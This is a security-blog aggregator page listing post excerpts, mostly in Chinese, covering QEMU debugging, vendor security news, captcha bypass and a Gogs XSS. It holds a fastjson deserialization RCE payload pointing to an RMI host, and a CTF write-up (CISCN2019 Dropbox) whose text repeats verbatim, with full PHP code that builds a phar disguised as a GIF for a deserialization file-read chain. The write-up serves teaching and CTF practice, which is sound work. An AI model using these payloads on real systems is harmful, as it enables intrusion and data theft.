Aggregator
跟踪qemu-kvm下的磁盘写入
4 years 11 months ago
傻了,上一个调试的时候没加-enable-kvm,而且电脑的虚拟化也是关着的。假装无事发生过,一切调整就绪后,重新在KVM模式下调试。终于在另一台linux老爷机上装好了qemu和各种软件,继续从这里...
leonwxqian
Women in Security: Security Technical Project Manager
4 years 11 months ago
We continue to see large-scale online security attacks affecting corporations and public institutions. These attacks are becoming more and more sophisticated, making it harder to protect yourself. The constant evolution of attacks requires innovative solutions that only Akamai can provide....
Akamai
调试qemu 硬盘io的过程
4 years 11 months ago
好久没有水文章了……在家无聊,正好最近也是在研究虚拟化相关的东西,就调一调qemu中文件写入的流程吧。这里说的写入是指,qemu启动的虚拟机,虚拟机中如果发生文件IO,那么qemu如何知道要更新对应的...
leonwxqian
产品视角从“分析”到“响应”
4 years 11 months ago
从“检测”到“响应”,必然绕不开“分析”这个关键阶段。然而,无论是Gartner还是其他第三方分析报告,对“分析”这个环节都没有给出太多的解释,但无论如何“分析”所承载的正是从“检测”到“响应”的核心业务逻辑。
PHP 多进程下载必应壁纸
4 years 11 months ago
手里拿着锤子,看什么都像是钉子 在放假的这几天,断断续续的看了老李关于 PHP 多进程的文章。 PHP多进程初探 — 开篇 PHP多进程初探 — 孤儿和僵尸 PHP多进程初探
fastjson RCE 分析
4 years 11 months ago
简介
先看经典 payload
1{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}我的2018/2019
4 years 11 months ago
前言一转眼博客两年没更新了,原因有很多,主要还是因为懒…另外因为不怎么搞研究了,所以感觉没啥好写的,有些内部做的东西又不太好公开发。安全开发17年底刚进入新公司时,本以为会继续做安全攻防方向,不...
0x0d
Vulnerabilities, Exploits, and Malware Driving Attack Campaigns in December 2019
4 years 11 months ago
Threat campaign activity in December 2019 doubled from the previous month.
Security Lessons From 2019’s Biggest Data Breaches
4 years 11 months ago
2019 already feels like it’s worlds away, but the data breaches many consumers faced last year are likely to have...
The post Security Lessons From 2019’s Biggest Data Breaches appeared first on McAfee Blog.
McAfee
The future of telecoms in the UK
4 years 11 months ago
NCSC Technical Director Dr Ian Levy explains how the security analysis behind the DCMS supply chain review will ensure the UK’s telecoms networks are secure – regardless of the vendors used.
实战笔记之X厂滑动验证码漏洞挖掘
4 years 11 months ago
在传统安全界,验证码是很少有白帽子会去关注的一个点,但作为任何一个平台,特别是电商平台,由于黑产作恶手法日益猖獗,业务安全带来的损失,很可能会超过一个OWASP top 漏洞带来的危害。
滑动验证码攻防对抗
4 years 11 months ago
隐秘接口处XSS带来的惊喜,绕过验证思路。实战总结的灰黑产精准识别方案。
Summary of NCSC’s security analysis for the UK telecoms sector
4 years 11 months ago
A summary of the NCSC’s security analysis for the UK telecoms sector
Gogs post 反射型 Xss
4 years 11 months ago
通过form利用gogs的post型反射型xss 审计 在审计gogs代码时发现gogs的api允许渲染markdown.最初以为是无法利用的,
思路技巧之生活分享
4 years 11 months ago
这篇文章很轻松,希望能给你呆在屋子里的生活,添一点灵感或者兴趣。
CISCN2019 Dropbox Writeup
4 years 11 months ago
0x00关于本文
感谢@glzjn大佬提供的buuoj复现环境!
0x01漏洞突破口 LFI
在注册登陆简单测试之后可以轻易地发现download.php的LFI漏洞
后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include "class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化 哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲) $file = new File(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中,这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。 首先看到FileList类的__destruct public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>'; $table .= '</tr>'; } echo $table; } } 好像啥都没有的样子。。。 那再看User类的 public function __destruct() { $this->db->close(); } 这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条 而File类里面恰巧有一个close函数,但是代码只有一句。 return file_get_contents($this->filename); 能读取是能读取,但是我又不能输出,这怎么可以呢? 这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。 果不其然,在FileList类找到了 public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } 其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作 $this->results[$file->name()][$func] = $file->$func(); 看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。 可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。 0x03 EXP构造 (filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的 <?php class File { public $filename; function __construct() { $this->filename="/flag.txt";
} } class FileList { private $files; function __construct() { $this->files=[new File()]; } }
class User { public $db; function __construct() { $this->db=new FileList(); } } $o = new User(); $filename = 'avatar.phar.gif'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?> 0x04 最后利用 本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。 url一换,结果就出来了
后退两个目录即可获取源码(怎么知道是后退两个目录?多试试就知道了),我们发现download.php有这一行
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { 看来很不幸,没法直接读flag
但是好在这个漏洞可以把题目中的所有源码都下载下来,方便我们审计
0x01 反序列化漏洞发现 看到download.php代码中存在这一行 include "class.php"; 一般来说像CTF题目这种超级超级小规模的项目是不会需要真正用到OOP来开发的,除非....想要用到相关的漏洞,比如反序列化 哪里有反序列化点呢?就藏在文件操作中。(相关阅读利用 phar 拓展 php 反序列化漏洞攻击面) 在download.php中存在如下代码(事实证明download.php并不能正常利用,在之后我会讲) $file = new File(); ... $filename = (string) $_POST['filename']; ... $file->open($filename) 跟到File类里面的open函数中,这个$filename被直接带入 file_exists($filename) 这样大黑客们就可以利用phar://伪协议用反序列化搞事情,好了我们开始审计代码!
0x02 POP Chain构造 我们现在需要构造POP Chain来RCE或者文件读取,要审计反序列化,我们第一步是需要找到起点,那就是__destruct或__wakeup函数,不过这道题目里面没有__wakeup函数,只有两个__destruct函数。 首先看到FileList类的__destruct public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">娑撳��娴�</a> / <a href="#" class="delete">閸掔娀娅�</a></td>'; $table .= '</tr>'; } echo $table; } } 好像啥都没有的样子。。。 那再看User类的 public function __destruct() { $this->db->close(); } 这个$this->db我们是可以操纵的,那我们首先尝试找到一个close函数来继续这个链条 而File类里面恰巧有一个close函数,但是代码只有一句。 return file_get_contents($this->filename); 能读取是能读取,但是我又不能输出,这怎么可以呢? 这里$this->db->close()除了可以调用close函数之外,还可以在别的类不存在close的时候调用__call函数。 果不其然,在FileList类找到了 public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } 其中$func是"close",这个函数首先把"close"塞到了$this->funcs的尾部,接着遍历$files做了些蜜汁操作 $this->results[$file->name()][$func] = $file->$func(); 看了下大概是给File类量身定做的,只有File类才同时有name和close,而这里我们要是操纵$file的确能把内容塞到$this->results数组里面。 可是写进去了怎么读出来呢,那就要看到FileList类的__destruct函数了,仔细看下这个函数发现真的能把结果输出出来,那这样我们就形成了一条从User类到FileList类,再到File类的POP Chain。 0x03 EXP构造 (filename为什么是/flag.txt?我也想知道。这部分我是在网上看到别人的EXP这么写的 <?php class File { public $filename; function __construct() { $this->filename="/flag.txt";
} } class FileList { private $files; function __construct() { $this->files=[new File()]; } }
class User { public $db; function __construct() { $this->db=new FileList(); } } $o = new User(); $filename = 'avatar.phar.gif'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?> 0x04 最后利用 本来以为直接download.php里面直接用phar就可以的,没想到这个文件始终读不出来
接着才发现了我刚刚忽略的一行 ini_set("open_basedir", getcwd() . ":/etc:/tmp"); 原来他这里搞了个open_basedir害得我读不出来,但是问题不大,因为delete.php也操作文件,甚至不需要换参数。 url一换,结果就出来了
DriverTom
忒修斯之船——2019年总结
4 years 11 months ago
在提笔写今年的年终总结之前,我已经收到了好多催更提
忒修斯之船——2019年总结
4 years 11 months ago
在提笔写今年的年终总结之前,我已经收到了好多催更提
Attacking the Organism: Retail
4 years 11 months ago
Online retail apps are a perfect storm of interconnecting infrastructure and insertion points. F5 Labs' Preston Hogue writes for SecurityWeek, discussing the wide range of risks that can threaten your apps, and how the need to understand the entire organism is critical.